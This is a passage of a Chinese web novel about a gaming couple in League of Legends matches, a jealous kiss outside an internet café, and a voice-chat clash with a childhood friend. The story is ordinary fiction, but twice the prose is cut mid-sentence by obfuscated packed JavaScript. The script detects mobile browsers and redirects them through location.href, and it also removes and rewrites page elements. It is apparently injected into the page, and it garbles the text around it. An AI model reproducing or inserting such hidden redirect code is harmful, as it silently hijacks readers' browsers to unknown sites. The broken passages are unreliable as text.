话音刚落,对面紫皮大蒜不知死活脸探草丛,娜美强化E瞬间挂上。顾妄往前一滑,A、跳、再A、再跳,紫皮大蒜被打得抱头鼠窜,闪现治疗全交,连滚带爬滚回塔下。 沈嘉行边打□□边切屏,看完直接傻眼:“我操……一上线就把双招打出来了?” 首战告捷,顾妄带着许念退回来控线。两分钟后,顾妄: “差一个兵升二。” 许念手指绷紧:“嗯。” “给我E。” 最后一个近战兵倒下,升级光效亮起。许念几乎零延迟把强化E挂上,同时顾妄Q技能【穿刺】已经出手。长矛穿死残血小兵,滑板鞋借着被动直接骑脸金克丝。对面的金克丝也是个头铁选手,机枪一切,居然站原地对A。 沈嘉行当场看笑了:“她什么成分敢跟滑板鞋站撸?纯上赶着尽孝啊!” 顾妄的走A节奏快到离谱,卡着极限攻击距离往前压。金克丝丢夹子、挂减速,全被顾妄滑步扭掉。对面交出屏障,顾妄反手套上虚弱,金克丝脚下如灌铅块,跑不动也点不过。身上的幽灵长矛越插越多,顾妄手指一压E键,长矛齐齐拔出,金克丝血条当场清空。 First Blood! 另一边,紫皮大蒜和海鲜姐姐也在激烈扯头花。残血璐璐还想垂死挣扎,回头给金克丝套盾续命,结果被许念追着一路平A,水花扇得她披头散发。顾妄击杀完金克丝后,一个丝滑的折返跳跃,长矛破空而出,精准收尾残血璐璐。 Double Kill! 语音里李青杨疯狂拍桌:“草!!!又给他装到了!!!” “不是,这俩真刚奔现?” 沈嘉行人都麻了,“这配合怎么跟同居八百年似的?姐姐E刚抬手,顾妄的Q就飞出去了。” 许同安酸得牙根发紧:“呵呵,你才发现?我上把就已经度日如年。我站旁边补个兵,都感觉自己亮成一千瓦的电灯泡。” 许念握着鼠标的手指不自觉地蜷紧,耳尖泛起一丝滚烫 。屏幕那头,顾妄还在有条不紊地补刀、滑步、平A、拔矛,一套操作行云流水,仿佛压根没听见语音里那群单身狗的鬼哭狼嚎 。 直到兵线被清得一干二净,他才慢条斯理地开口:“打得不错。” 话音落下,顾妄偏了下头,视线越过屏幕落在许念侧脸上,原本冷淡的声线压低了几分:“姐姐。” 许念眼睫一颤,握着鼠标的手指僵住,屏幕里灵动的小鱼也停滞了一瞬。过了两秒,他才从嗓子眼里挤出极其微弱的一声“嗯” 。那股热意直接从耳尖烧到了锁骨,修长的脖颈上迅速蔓延开一层薄粉。 正在野区刷野的沈嘉行被这声突如其来的“姐姐”激得浑身一哆嗦,手里的惩戒差点给小狼:“我操!” 刚死回泉水、正含泪逛淘宝的李青杨直接傻了:“……靠。” 许同安拖长了音调:“好稀奇哦~~~” 包厢里陷入了一种诡异的死寂。沈嘉行嘴角狂抽,憋了半天实在没忍住:“不是哥们儿,你是不是被什么不干净的东西给顶号了?” “滚。”顾妄头都没动一下,眼神依旧冷酷地盯着屏幕无情补刀。 李青杨立刻把心放回肚子里:“行,还是原来那个逼味儿,警报解除,没被盗号。” 视线切回峡谷,对面的中单劫显然也是老懂哥了。眼看着自家下路已经被当成ATM疯狂提款,他火速在语音里下达了最高作战指令:“兄弟们,别管滑板鞋,团战先集火秒鱼妹妹!” 全票通过,无人反对。毕竟顾妄的滑板鞋操作简直不是人,硬切只会被当狗遛。上一波劫飞镖一把没中,被顾妄滑得人都麻了,技能全空还追着往前送,纯纯给人当素材。再去找这b麻烦,属于自取其辱。 劫算盘打得噼里啪啦响:老子打不过你这海鲜的超雄脚本老公,还拿捏不了你这条小海鲜? 他的思路很朴素:先把鱼切红温,妹妹一急,AD八成要上头救驾。AD一上头,操作就会变形,操作一变形,这破板鞋再能滑,也得给他老老实实躺地上读秒。 这套路朴素、经典,但对他俩确实很好使。顾妄平时操作再秀,只要许念被盯着切,他就开始不对劲:要么回头强开,要么硬接团,要么闪现救人把自己送进去。 简单说就是—— 操作是T0中的T0,但心态纯属恋爱脑晚期。 之前他们排位翻车的局,十把有七把都是被人用这招拿捏的。劫这一手针对,确实是掌握了财富密码的祖传运营,没在峡谷里宰过10个以上的妹妹,是总结不出这套经验的。 可惜,这把顾妄玩的是网恋之矛。 这英雄的变态之处就在于,从一级签下灵魂契约开始,关键时刻就能大招一键把辅助拽进自己怀里,赋予灵体状态,完美规避一切伤害和斩杀。通俗讲就是:自带一个无敌救老婆神技。 小龙团一触即发,侧翼无视野的阴影处突然窜出一道黑影,许念根本没来得及反应,屏幕一黑,劫贴脸落大,【瞬狱影杀阵】的死亡印记挂在娜美头顶。许念心里一沉,手比脑子快,一个预判水泡直接往自己身后砸去,嘴里还在紧张地碎碎念:“在我身后……在我身后……” 奈何劫也是个绝活哥,落地瞬间W拉开身位,极限擦边扭掉水泡,反手QE双剑合璧,一套爆发伤害瞬间灌满。行云流水打完一套,劫自信回头,甚至已经按下了Ctrl+3准备原地跳舞嘲讽。毕竟—— 真男人从不回头看爆炸。 李青杨悲从中来:“完了完了,鱼姐姐要寄——” 尾音还没落下,顾妄往后一滑,人已经撤进草丛,大招【命运的召唤】瞬间出手。原本在原地等死的娜美被一把强势拽起,化成灵体被拉入虚空,劫头顶那自信满满的斩杀印记在空气中闪了一下,然后—— 炸了个寂寞。 伤害:0 节目效果:200% 对面那个原本已经准备好装杯的劫僵在原地罚站,终于回想起自己到底漏算了什么技能,道心彻底破碎。这把分给了,下把,不对,今后每一场排位,滑板鞋这逼英雄必须死在Ban位上! 李青杨倒吸一口凉气:“啧啧啧……怪不得叫网恋之矛。” “卡着印记爆炸前0.1秒的无敌帧开大救人,这特么是什么神仙手速和卡点——”他的语气忽然变得无比虔诚,“妄哥!这波要是换成救我,就在我飞天的那两秒钟里,我连立刻飞去泰国做变性手术、然后回来给你生三胎的孩子名字都想好了惹!” 沈嘉行听得起了一身鸡皮疙瘩:“……冷静,你特么先冷静一下。不至于,真不至于。” 许同安在一旁认真摸着下巴总结:“就是,妄哥真不至于饥不择食到连你都要。” 语音频道里瞬间爆发出丧心病狂的笑声,许念的整张脸却一下子烧透了。他的手指还在全凭本能操控着娜美紧紧跟在顾妄身后,但大脑早已彻底宕机,完全没从刚才那一波心跳加速的网恋之矛独属救援中缓过神来。 他忽然回想起:自从隐约对顾妄动心之后,他神差鬼使地在微博上偷偷关注了一个叫【说给LOL美少女】的树洞号 。起初只是想窥探一下别人都是怎么在峡谷里谈网恋的,结果十条投稿有八条都是甜妹在激情讲述,如何暗恋自家的网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328223|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋之矛绝活哥。 以前许念刷到这些投稿,只觉得这帮姐妹太能代,甚至想切个小号去评论区苦口婆心劝几句:姐妹们清醒一点!绝活滑板鞋操作确实帅,满屏高光 。但这跟网线那头的人帅不帅,是两码事好吗!那很有可能只是个几天没洗头、窝在电脑前疯狂冲分的油腻肥宅,外卖盒子能堆满整张电竞桌! 可偏偏甜妹们不信邪,坚信能把滑板鞋玩得这么行云流水的男人,现实里一定也是个顶配高富帅。 当时许念还觉得她们执迷不悟。结果现在风水轮流转,回旋镖结结实实地扎在自己身上,他不得不承认,滑板鞋这破英雄确实有点邪门,被这么救一次,确实容易上头。 不过……许念悄悄抬起眼帘,余光偷偷瞄向身旁专注盯着屏幕的侧脸。幸好—— 顾妄在现实里,长得和他的滑板鞋操作一样,帅得让人腿软 。 顾妄目不斜视,手上的操作一点没停,对李青杨言简意赅:“滚。” 这波打完,对面外塔全没,局势一片大好。结果顾妄在上路推塔的时候稍微贪了一步,草里突然蹦出来五个人。很显然,对面已经达成共识—— 游戏可以输,带妹狗必须死。 语音瞬间乱成一锅粥。沈嘉行第一个反应过来,一边往上路赶一边切屏看,声音里带点哭腔:“完了完了完了,兄弟们,大哥要没——” 顾妄那边却还在操作,滑板鞋小跳接小跳往后拉,走A节奏快得离谱,技能全靠走位扭掉,但对面五大汉控制链叠上来,血条还是见底,沈嘉行已经开始酝酿悼词。 千钧一发之际,墙后忽然飞出来一道水流,许念闪现过墙。皇冠一开直接冲脸,大招瞬间拍起三个人,水泡跟上,把控制链无缝拉满。还没等人反应过来,他手指已经在键盘上乱飞,治疗、W、救赎、鸟盾一秒全按完。屏幕上,水花和金光一起炸开,顾妄的血条直接锁死。 大概是救夫心切,原本只有B杯奶量的海鲜咬牙一挤,潜力爆发直接升杯——G奶海鲜在线喂奶。一口奶硬生生灌下去,超雄老公的血条当场回春。 三个男高直接傻眼,刚才那一套连招谁都没看清,只看见原本该倒的滑板鞋突然原地续命,然后继续拔矛开滑,似魔鬼的步伐。 沈嘉行破音:“我靠???刚刚发生什么了??” 李青杨反应过来,开始疯狂拍桌:“这娜美什么手速!田野来了都得直呼内行并点个赞吧?!” 许同安疯狂点头:“这把要是能赢,MVP绝对得给鱼姐姐。” 团战两极反转。对面控制刚断档,顾妄直接开始无情杀戮,边滑边扎。长矛一根一根往外插,插得人均豪猪。最后拔矛一爆,满地尸体。 沈嘉行看着满地惨状,幽幽叹气:“拳头真该加个‘一键民政局’功能。你俩打完直接在泉水领证、基地拜堂得了。” 李青杨在旁边酸得牙根发麻,化身柠檬精:“别骂了别骂了,我也想要个仙女姐姐这么不顾死活地保我……实在不行,妹妹也行。” 顾妄收掉最后一个人头,偏头看向许念。许念因为刚才那波极限手速,手还在微微发抖,白皙的额头上渗出了一层薄汗,胸口微微起伏着。 顾妄看了一眼,眼底带笑,声音很轻:“谢谢姐姐。” 许念本来还在抖的手一下停住,心跳瞬间乱成一锅粥。 单身狗们显然已经对这种高浓度恋爱酸臭味产生抗体,零秒起帧,继续起哄。但打完两把,顾妄的耐心显然已经被这三个只知道躺赢喊“666”的逆子耗得一干二净。他修长的手指一勾,干脆利落地摘下耳机,冷峻的脸上明晃晃地写着“单身狗莫挨老子”几个大字,拉开电竞椅就准备带他家鱼姐姐撤退。 逆子们一看大爹要走,雷达集体狂响,瞬间化身峡谷尽孝王,齐刷刷地开启了哀嚎模式: “爸!顾少!求您再来一把!” “妈!亲妈!你快发发慈悲劝劝咱爸吧!” “只要你们两口子包下,我们三个就算拔了键盘闭着眼都能赢啊!” 许念正捧着那杯三分糖的芋泥奶茶,小口小口地吸着 。听见旁边此起彼伏的“妈”,他脸颊一热,抿了抿唇,悄悄偏过头去看顾妄。那双漂亮的浅棕色眼睛轻轻眨了一下,犹豫了几秒,一双手慢吞吞地从杯壁上挪过去,动作极轻地搭在了顾妄的大腿上,隔着布料,他手指蜷曲了一下,像只讨好人的小猫崽,软软地捏了捏。 “……弟弟最好了。”许念的声音很小,软糯得像棉花糖,“就陪他们……再打一把,好不好?” 顾妄身形一下就僵住了。旁边三个逆子瞬间安静如鸡,死死憋住呼吸生怕错过世纪名场面 。 事实证明,再高冷的拽王也顶不住姐姐这突如其来的一声“弟弟”。顾妄的防线连0.1 秒都没撑住,全面崩塌,黑着脸又坐了回去。 “最后一把。” 他咬着牙冷冷抛下四个字。 9.亲亲 顾妄话说得轻描淡写,手底下的动作却极其霸道。他反手扣住许念那只还停在自己腿上的手,手指往里一挤,扣得严丝合缝,顺手又按回自己腿上。许念被他这么一攥,掌心隔着一层薄薄的布料,紧贴着他腿上的温度,烫得许念耳根一下烧了起来。 他下意识想把手抽出来,结果拽了两下,愣是没拽动。顾妄连头都没偏一下,另一只手照样搭在鼠标上,跟没事人一样松弛。只有许念一个人僵在那儿,肩背绷得笔直,连呼吸都不自觉放轻了。到整个bp环节,他都只能别别扭扭地用左手碰鼠标,右手被顾妄扣在腿上,动也动不了。 李青杨余光瞥到这一幕,眼珠子差点掉出来,艰难地咽了口唾沫,在语音里哆哆嗦嗦地开口:“……妈这哪是在劝人,这分明是当场给咱爸挂了个满级魅惑。”说完他还嫌不够,夹着嗓子现场配音:“狐狸精本精惹!阿狸满级E直接糊爸脸上了,这谁顶得住惹惹惹——” 第三把刚进BP,许同安倒吸一口凉气:“我去,软辅这是刨了对面祖坟吗?” 屏幕上,气功婆、阴猫、紫皮大蒜、鱼、女明星五个软辅整整齐齐站在Ban位罚站。很显然,上一把被顾妄滑到脑溢血的那车人,又撞上来了。Ban顾妄英雄纯属浪费,直接冲许念下手才是正解。 沈嘉行啧啧两声:“真阴啊。姐姐玩得难受,妄哥指定也跟着难受。” 顾妄单手松松垮垮地搭着鼠标,眉毛都没动一下,只偏头问许念:“想玩什么?” 许念盯着那片灰下去的常用英雄池,又看了眼对面秒锁的斧直男加灯笼男,来势汹汹,摆明了这一把要在下路找回场子。他抿了抿唇,指尖悬在鼠标上停了一下,小声开口:“……那我玩泰坦吧。” 顾妄看着他:“会?” “以前玩过一点。”许念声音越来越虚,“应该……还行。” 那还是刚入坑的时候,陈逸拉着他玩的。可他一直嫌泰坦长得丑,简直就是深海小胖墩,作为重度颜控,他看一眼都觉得污染审美。后来去玩曙光女神,结果陈逸那个废物又不敢跟技能,害他每次都冲上去白给。几把打完,两个人很快就在下路分道扬镳,江湖不见。 “锁吧。”顾妄没再废话,鼠标随意一甩,直接锁下莎弥拉。 三个逆子一看这阵容,DNA当场就动了。奥恩、瑞兹、皇子齐刷刷锁定。三个人心里的小算盘打得噼里啪啦响:这把只要苟到六级,控制链一接,顾妄往人堆里开转,绝对是惨绝人寰的视觉盛宴。 然而理想很丰满,现实很骨感。他们寄予厚望的下路双人组,开局就给大伙整了波大的。 两分钟,下路准时传来捷报,对面德莱文拿下一血。紧跟着,系统无情播报——双杀。 语音频道陷入一片死寂。过了两秒,许念极其愧疚的声音弱弱响起:“对不起……真的对不起,我太久没玩这个了,没控好距离。” 另外三个单身汉死死攥着鼠标,手抖得厉害,嘴角也抽得厉害,一个个憋笑憋得脸红脖子粗,愣是没一个敢在这时候吭声。 二级那波画面实在太过炸裂。许念大概是紧张过头,原本瞄着德莱文去的钩子,精准无误地钩中了防御塔。深海小胖墩当场在空中划出一道极其悲壮的弧线,直挺挺地把自己送进了敌方塔下。更离谱的是顾妄这个神人,眼看着许念往塔里飞,不但没卖,反而闪现治疗全交,想把人强行捞回来。最后的结果自然是夫妻双双把家还,给德莱文送上一份豪华双杀大礼包。 许念这边,还能说是太久没玩手生。而且说句实话,人都美成这样了,谁还有空计较技术。菜就菜点吧,问题不大。可顾妄这波纯属明送。好在他没在韩服高端局带着许念这么干,不然队友六分钟准时打字“有演员”,运气差点再撞个职业哥,转头就给他举报到拳头,喜提超长待机封号套餐。 毕竟大多数人打高分局,还是奔着分和饭碗去的,不是每个人都像公子哥,哄起妹妹来,能把分当场看作身外之物。 “没事,”顾妄面不改色地补着塔刀,“他们现在值钱了。” 这话一出,语音里那三个逆子差点当场笑得撅过去。 对面德莱文白捡双杀,显然也乐疯了,公屏互动立刻安排上。 【小鱼妹妹下把一起双排吗?我看你哥哥好像不太行啊】 【哥哥的德莱文猛不猛?】 【来哥哥这边,哥哥一斧一个,包你下路体验感拉满】 许念坐在顾妄旁边,气得嘴唇都抿紧了。顾妄还没说话,他已经低头飞快敲字,一句一句认真护短: 【是我自己太菜了,跟他没关系】 【他比你们强很多,谢谢】 结果对面一看妹妹急了,反而更来劲。 【莎弥拉哥哥怎么萎了?】 【妹妹快跳车吧】 【下路双人床,哥哥给你留一半】 顾妄冷着脸,一句话没回。但屏幕里的莎弥拉却开始越打越凶,德莱文抬手接斧,他卡着空档就a;锤石抬手,他侧一步躲开,回头又补一枪,走位和换血都比刚才激进很多。 游戏打到十几分钟,对面上中野一起从线上消失,摆明了要在下路打桌麻将,把这条只会钩墙的小鱼杀到当场卸载游戏。 然后—— “Penta Kill!”五杀的激昂音效响彻整个召唤师峡谷。 对面五包二,本来是兴冲冲来越塔吃席的,结果一不小心,席开到自己头上。锤石钩子一抬,直奔顾妄而去。结果妹妹不仅没躲,反而往前顶了一步,把那发钩子吃了下来,反手一个大招深海冲击直接锁住德莱文。 几乎同一秒,沈嘉行的蓝皮光头带着皇子飙车落地,许同安EQ二连,大招一扣,把对面几个人全圈在自家塔前。 顾妄AQA起手,莎弥拉踩着德莱文的脸E进去,W一开,飞过来的斧子、钩子、乱七八糟的技能全被挡在外面。连招快得只剩残影,评级秒S。皇子框着,泰坦顶着,对面五个人挤在一起,闪现都按不出来,只能眼睁睁看着莎弥拉在脸上开转。一圈转完还不够,收掉一个,再追一个,E一刷新,继续往前踩。 刚才还在公屏哥哥妹妹喊得欢的几个人,转眼全在地上躺尸。顾妄踩着满地尸体把兵线往前一推,带着许念一路平推。眼看敌方水晶就剩最后一点血,他才腾出手,在公屏上轻飘飘敲了一个符号:【?】 对面彻底安静。许念盯着聊天框看了两秒,指尖在键盘上动了动,慢吞吞打出两行字: 【不用了,我就跟着他】 【他接斧子比你快多了】 消息发送出去的下一秒,屏幕里的莎弥拉在原地卡顿半步,紧接着又继续点塔,装作一切如常。要是隔着网线各自在家玩,这一下随便一句“卡了”就能糊弄过去。可现在顾妄就坐在旁边,许念偷偷偏过头,飞快瞄了他一眼。 顾妄没说话,手上还在点水晶,脸上依旧是那副冷冷淡淡、拽得不行的样子。只有藏在黑发里的耳根,正一点一点红起来。 红得特别明显。 许念本来只是气不过对面嘴碎,顺手护个短,没想到顾妄会是这种反应。他愣了一下,耳朵也跟着烧起来,赶紧把视线收回去,装作很认真地继续看屏幕,半天没敢再往旁边瞟。 幸好同车那三位在峡谷摸爬滚打多年,关键时刻都很会接话。上一秒还在被五杀震得说不出话,下一秒已经原地化身夸夸群群主,对着许念那波团战疯狂夸奖: “姐姐!你刚才那波泰坦大招也太好了吧,那一下给得正正好!” “真的,前面那手挡钩也太帅了。” 许念被他们夸得有点不好意思,小声解释:“以前玩过……以前经常和朋友双排包下,所以连招还记得一点。” 此话一出,语音频道里原本热火朝天的气氛瞬间戛然而止。 【朋友】 【双排】 【包下】 李青杨头皮一麻,求生欲拉满,硬着头皮往回圆:“哇,双妹车吗?那确实挺厉害的。” 许念摇了摇头,眼睛还盯着屏幕:“不是。” “是我发小,男的。” “男的”两个字一砸下来,李青杨立刻闪回定位到酒吧门口,那个满脸着急追出来的男人。他嘴比脑子快,顺着就秃噜出来一句:“就是那天酒吧……那个——” 话还没说完,顾妄直接把主机电源按了。屏幕上一秒还亮着,莎弥拉正踩在泉水边虐人,敌方水晶连炸开的动画都没放完,下一秒就只剩显示器一片漆黑,模模糊糊照出顾妄那张冷得要命的脸。 李青杨:“……” 沈嘉行:“……” 许同安:“……” 三个人齐齐闭嘴,连呼吸都放轻了。 “……咋了?” 李青杨顶着一头冷汗,说话小心翼翼的。 顾妄没说话。他伸手扯下耳机,往桌上一丢,砸得包厢里几个人心口都跟着一跳。然后直接站了起来,转身就往外走。 走了两步,又猛地折回来。 “走。” 就一个字,冷得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刚出网咖大门,冷风迎面灌过来,许念被吹得一个激灵,脑子总算清醒了点,他这才后知后觉反应过来,顾妄到底是在气什么。他赶紧伸手去扯顾妄的卫衣衣角,声音一下子软了下来:“不是你想的那样,陈逸他——” 顾妄根本没让他说完。 他脚步猛地一停,转身的时候带起一阵风,许念还没反应过来,后背已经撞上冰凉的墙面,震得他肩胛骨一麻,嘴里那点惊呼刚冒出来半截,顾妄已经低头亲了下来。 许念眼睫一颤,大脑瞬间一片空白。这个吻来得太急,嘴唇一下子就撞了上来,连牙齿都磕碰到一起。许念被撞得轻轻抽了口气,刚张嘴,顾妄就压得更用力,直接把他后面的话全堵了回去。那声没来得及出口的痛呼,那个没说完的名字,还有后面那些解释,全被堵在喉咙口,一个字都出不来。 海盐味的气息扑面而来。许念呼吸一下就乱了,胸口跟着发紧,整个人都被顾妄的气息笼罩,连往哪儿躲都不知道。 网咖门口挨着商圈,人来人往。顾妄就这么把许念按在墙上亲,四周视线几乎是一瞬间全扫了过来。停下来看的人越来越多,两个女生站在不远处,小声咬耳朵:“这是在拍什么吗?”“短剧还是网红啊?”一边猜,一边已经把手机举起来拍。 许念什么都没注意到。 顾妄亲得太凶,凶得他脑子里一团乱,只能被迫仰着头承受。手忙脚乱间,他下意识去抓顾妄的衣服,卫衣下摆很快就在他手里攥得皱成一团。腿也一点点发软,膝盖轻轻打着颤,整个人都快站不住,只能贴在顾妄怀里。 顾妄一只手撑在他身侧,另一只手扣着他的后脑,完全不让他躲。亲上来没轻没重,牙齿还时不时磕到一下,呼吸也很紊乱,热气一阵阵扑在许念脸上。许念一张嘴,他就更重地压回来,铁了心不许他再出声,非要把那个名字连着后面的话一起堵回去。 等顾妄终于退开一点,许念靠在墙上直喘,胸口起伏得厉害。唇上发麻,眼尾也红了。他张了张嘴,刚喘上一口气,顾妄又低头贴了回来。 鼻尖抵着鼻尖,近得连睫毛都交织在一起。 “还提他?” 声音压得很低,已经有点哑了。 许念心口猛地一缩,那句话贴着脸落下来,烫得他耳朵一下更红了。他人还懵着,脑子里乱得要命,手里还紧紧攥着顾妄的衣角,半天一句整话都说不出来,只会睁着一双湿漉漉的眼睛看他。 顾妄浓密的睫毛扫过来,刮得他眼皮发痒。两个人离得太近,连呼吸都缠在一起。顾妄盯着他,喉结滚了一下,声音又低了点。 “他的名字就这么难咽下去?” 10.吃醋弟弟 “你进来干嘛???” 周五下午,许念盯着那个不请自来的ID【哥很帅你别爱】,眉心当场紧蹙。整个人瞬间进入戒备状态,语气里的嫌弃几乎要溢出屏幕。 陈逸当没听见,吊儿郎当地开麦:“怎么,跟你打两把都不行?来一把呗。” “你自觉点滚。”许念想都没想,张口就呛回去,“我等人。” 说完,他顺手扫了眼好友列表,心里已经开始烧香拜佛:顾妄最好堵在路上,手机最好没电,最好这会儿根本看不到掌盟。 陈逸一听就乐了,许念除了等那个高富帅小男友,什么时候这么有耐心等过别人? “那不正好?”他拖着腔笑,“妹夫韩服千分,你让他顺手带我两把呗。” 许念翻了个白眼。他明明比陈逸大一个月,这人平时不要脸,占点嘴上便宜也就算了,现在居然还想顺着他往顾妄身上爬。 “滚。”许念冷着声,“他不带外人。” 话音刚落,【接水泡】就进来了。许念瞳孔一缩,心口跟着狠狠一跳。早知道他就设密码了,谁知道陈逸能这么不要脸。他一把抓过手机,手指在屏幕上翻得飞快。 陈逸还什么都没察觉,嘴上继续跑火车:“我们这关系,哪算外人啊,好妹妹——” 许念鼠标“啪”地挪到踢人键上,正准备给他物理闭嘴。 下一秒,耳机里落下一道冷冷的声音:“陈逸?” 陈逸:“……” 操,还是那个味儿。语气不咸不淡,听着没什么情绪,可一钻进耳朵,就让人浑身不舒服。上次顾妄看他那一眼,跟看路边垃圾没区别;这回轮到叫名字,还是像在叫垃圾。 三个人都开着麦,许念连游戏里私聊陈逸一句“闭嘴”都不敢。键盘只要响一下,顾妄绝对听得出来。更气人的是,陈逸那破手机也不知道是从华强北哪个边角料摊位批发来的,微信跟入土了一样,一点反应都没有。许念刚才一口气发过去几十条: 【闭嘴】 【别乱说】 【滚出去】 条条石沉大海。 陈逸坐在电脑前,手机正在茶几旁充电。他在给自己做心理建设:自己一个成熟男人,犯不着和这种年纪不大、脾气不小的小男生计较。再怎么说,这也是许念现在那个小男朋友,让一让也正常。他清了清嗓子,刚准备拿出点大人的体面,顾妄已经先开了口。 “内战来吗?” 许念:“……” 他鼠标一下就甩到陈逸头像上,连键盘声会不会被顾妄听见都顾不上了,脑子里就剩一句:别答应,快滚。 可惜陈逸答应得比谁都利索:“好啊,兄弟,来。”说完还嫌不够,嘴继续往外秃噜:“对了兄弟,我们许念——” 许念有时候真想把陈逸脑壳敲开,看看里面到底是猪脑还是废水。等会儿他被顾妄按着打,那是他命里该有这一劫,许念一点都不关心。重点根本不在这儿。重点是—— 能不能闭嘴?保持距离,懂吗? 他男朋友占有欲重得离谱,陈逸还非要在这儿一口一个“妹妹”,一口一个“我们许念”,叫得跟他俩多熟一样。 谁跟他我们啊?! 不熟,谢谢。 被揍死都活该,但别害得顾妄不高兴,更别害他回头还得哄。 一想到上周末网咖门口那一出,许念头皮都开始发麻。那天顾妄亲完他,手还扣在他后腰上,人看着挺冷静,话却阴阳怪气得要命:“一个废物,也值得你一直提?” 许念当时愣了两秒,脑子里飞快把能对上号的人全过了一遍,刚想张嘴解释,又硬生生把话咽了回去。按顾妄那个脸色,他要是否认得不够干脆利落,这位少爷绝对会直接进入“我不听,我不信,我再亲一次”的状态。 “我不喜欢他。”许念求生欲拉满,“从来没喜欢过。” “跟他双排也是刚玩那阵子,他太菜了,新手期一过,我都没再辅助过他。” 顾妄盯着他,不说话。 许念被看得头皮发麻,声音一点点低下去:“他真的就是发小……纯发小。” “有多纯?” “……” 许念卡壳一秒,脑子一热,脱口而出:“纯到我一直嫌他太矮。” 顾妄:“……” “长得也一般。”许念破罐子破摔。 话一出口,他自己先想找个坑把自己埋了。顾妄不会觉得他虚荣又肤浅吧?他平时在顾妄面前,走的可一直是是“我喜欢你,是因为你操作太帅,直击我灵魂”的清纯甜妹人设。 但天地良心,他真没骗人。 顾妄操作是帅,他当时也确实被秀得心口小鹿乱撞。问题是,顾妄压根没给他往“灵魂共振”上升华的机会。前脚刚把他秀得七荤八素,后脚视频就直接弹过来了。那张脸怼满屏幕的一瞬间,许念脑子里就只剩一句: “卧槽,好帅。” 他本来都闭眼等审判了,结果预想中的冷言冷语没砸下来,耳边反倒先响起一声低笑。许念一怔,悄悄睁开一只眼,看见顾妄偏过头,嘴角往下压了压,没压住。那点冷意终于裂了条缝。 许念当场原地复活。他偷偷伸手,指尖勾住顾妄的袖口,轻轻晃了两下:“真的,我一点都看不上他。”停了半秒,又小声补了一句:“我眼光没那么差。” 顾妄低头看着他,没出声。许念被他看得耳朵一点点发烫,睫毛都垂下去了,手却没松开,还在那儿不安分地扯着那点布料,一下一下,跟小猫挠似的。 顾妄喉结滚了一下,到底还是没绷住,低低笑了声。 许念眼睛立刻亮了,仰头问他:“你不生气啦?” 顾妄把那点笑收回去,抬手捏了下他发烫的耳垂,语气凉凉的:“谁说我不生气了。” 许念被捏得一缩,下意识往后贴了贴墙,声音都虚了:“那你还想怎么样……” 顾妄盯着他看了两秒,忽然低头靠近,唇几乎贴上他耳朵,嗓音压得很低:“以后少在我面前提别的男的,尤其这种废物。” 许念耳朵本来就红,被他这么一贴,热气直往皮肤里钻,整个人都快熟透了。抓着袖口的手指一下蜷紧,憋了半天,才挤出一声很小的: “……哦。” 顾妄垂眼看着他,眼底那点阴郁终于散干净了。他抬手把许念被风吹乱的头发拨到耳后,动作很轻。然后低头,在他唇上碰了一下。 这回一点都不凶。 旁边还有路人停下来偷看,甚至已经有人举起手机了。许念余光扫到,赶紧伸手去推他胸口:“你别……这么多人。” 顾妄顺势揽住他的腰,垂眼看他:“刚才亲的时候怎么不说?” “那不是你——”许念一句话卡在喉咙里,越想越气。明明是他突然发疯,把人按住就亲,现在说得倒像双方情投意合,当街热吻。许念恼羞成怒,一拳捶在他肩上。 顾妄低头看了一眼,直接把他手攥住,扣进掌心里,不紧不慢地说:“回去了。” “……嗯。” 回忆戛然而止。许念靠在电竞椅里,越想越头疼,恨不得顺着网线爬过去,把陈逸那张嘴亲手缝上。他一边在心里把发小骂了八百遍,一边切到微信,赶紧给顾妄发了个猫猫满地打滚的表情包。 【就我们双排好不好,我不想带他玩~】 消息一发出去,许念自己耳朵先烧起来了。可语音频道里,陈逸那张破嘴还在叭叭个不停,吐不出半句人话。许念听得脑仁疼,咬了咬牙,又狠心补了一个: 【??】 发完他就想当场撤回。他平时根本不发这些,两人的微信聊天记录正经得离谱,说是谈恋爱,不如说两个戴着小天才电话手表的小学生天天交流今日作业。 许念倒也不是故意矜持,主要是不太敢。之前网上刷到过,现在有些小朋友为了守住封闭死党圈,小天才能一路戴到高中毕业。结合顾妄那帮朋友的气质,许念很难不多想——总觉得他们随时都能从书包里掏出两根淀粉肠和一叠奥特曼卡,凑在一起小声交流。 他一直没敢问顾妄:你……不会也戴吧? 毕竟这种东西,一个人戴,搞不好一窝都戴。 所以他现在在干什么? 他在对一个疑似还用小天才电话手表的男高中生,狂发亲亲表情包。要是真发到了手表上,顾妄那边说不定只能收到一个乱码方块。 而另一边,顾妄靠在电竞椅里,垂眼看着亮起的手机屏幕。 聊天框里安安静静躺着两条新消息,尤其底下那枚【??】,扎眼得不行。 他脸色瞬间冷了下来。许念平时很害羞,线下牵个手都不太敢抬头看他,更别说发这种黏糊糊的表情。现在为了保全那个废物的面子,连这种招都肯用了。顾妄盯着那枚表情看了两秒,舌尖顶了顶后槽牙,抬手就把手机往身后一丢,一个字都没回。 许念盯着聊天框等了半天,什么都没等到。再切出去一看,陈逸那边的微信也照样毫无动静。偏偏语音里热闹得很,这俩人甚至还聊上了。 “……” 许念眼前一黑,整个人都麻了。他绝望地往椅背上一靠,脑子里缓缓浮出一个荒唐又合理的猜测:他俩今天是不是一起被卖华强北山寨机的人做局了? 陈逸已经彻底聊嗨了,整个人无缝切进“娘家人”模式,一边替自家姐妹考察妹夫,一边热情洋溢地回忆许念的光辉岁月。 “哇,兄弟你是不知道,许念初中的时候就长得特别绝,第一次穿礼服裙上台——” 许念:“……………………” 埋了吧,就现在。 别等顾妄动手了,他现在就想亲手送陈逸这傻逼上路。 